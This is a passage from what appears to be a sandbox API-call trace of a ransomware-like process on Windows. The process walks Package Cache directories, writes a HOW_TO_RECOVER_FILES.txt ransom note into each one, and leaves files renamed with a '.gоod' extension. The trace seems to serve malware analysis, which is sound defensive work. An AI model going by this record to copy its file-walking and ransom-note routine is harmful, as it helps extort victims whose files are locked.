nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0148.018] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3ad8f55b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3ad8f55b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.018] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ad8f55b, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3ad8f55b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3ad8f55b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0148.019] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3a857fa3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm.gоod", cAlternateFileName="STATER~1.GOD")) returned 1 [0148.019] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3ad8f55b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbee40, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe.gоod", cAlternateFileName="VC_RED~1.GOD")) returned 1 [0148.019] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0148.019] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0148.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0148.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0148.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0148.019] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpFilePart=0x0) returned 0x47 [0148.019] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3ad8f55b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3ad8f55b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0148.019] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3ad8f55b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3ad8f55b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.020] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ad8f55b, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3ad8f55b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3ad8f55b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0148.020] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3a857fa3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm.gоod", cAlternateFileName="STATER~1.GOD")) returned 1 [0148.020] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3ad8f55b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbee40, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe.gоod", cAlternateFileName="VC_RED~1.GOD")) returned 1 [0148.020] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3ad8f55b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbee40, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe.gоod", cAlternateFileName="VC_RED~1.GOD")) returned 0 [0148.020] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0148.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0148.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0148.020] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x60 [0148.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0148.021] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0148.021] GetFileType (hFile=0x630) returned 0x1 [0148.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0148.021] GetFileType (hFile=0x630) returned 0x1 [0148.022] WriteFile (in: hFile=0x630, lpBuffer=0x3749ab0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x3749ab0*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0148.023] CloseHandle (hObject=0x630) returned 1 [0148.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0148.023] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpFilePart=0x0) returned 0x52 [0148.023] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3bb6afd3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0148.023] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3bb6afd3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.024] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb6afd3, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3bb6afd3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bb6afd3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0148.024] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0148.024] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0148.024] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0148.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0148.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0148.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0148.024] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpFilePart=0x0) returned 0x52 [0148.024] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3bb6afd3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bb6afd3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0148.025] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3bb6afd3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bb6afd3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.537] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb6afd3, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3bb6afd3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bb6afd3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0148.537] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0148.537] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0148.537] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0148.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0148.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0148.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0148.538] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages", lpFilePart=0x0) returned 0x5b [0148.538] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3bb6afd3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0148.538] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3bb6afd3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.538] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb6afd3, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3bb6afd3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bb6afd3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0148.538] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3b6f290f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b6f290f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0148.539] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3b6f290f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b6f290f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0148.539] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0148.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0148.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0148.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0148.539] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages", lpFilePart=0x0) returned 0x5b [0148.539] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3bb6afd3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bb6afd3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0148.539] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3bb6afd3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bb6afd3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.539] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb6afd3, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3bb6afd3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bb6afd3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0148.539] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3b6f290f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b6f290f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0148.540] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0148.540] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0148.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0148.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0148.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0148.540] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x73 [0148.540] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3b6f290f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b718b46, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0148.540] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3b6f290f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b718b46, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.541] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6151ff00, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x6151ff00, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x3b017a28, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4b4530, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab.gоod", cAlternateFileName="CAB1CA~1.GOD")) returned 1 [0148.541] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b718b46, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3b718b46, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b718b46, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, 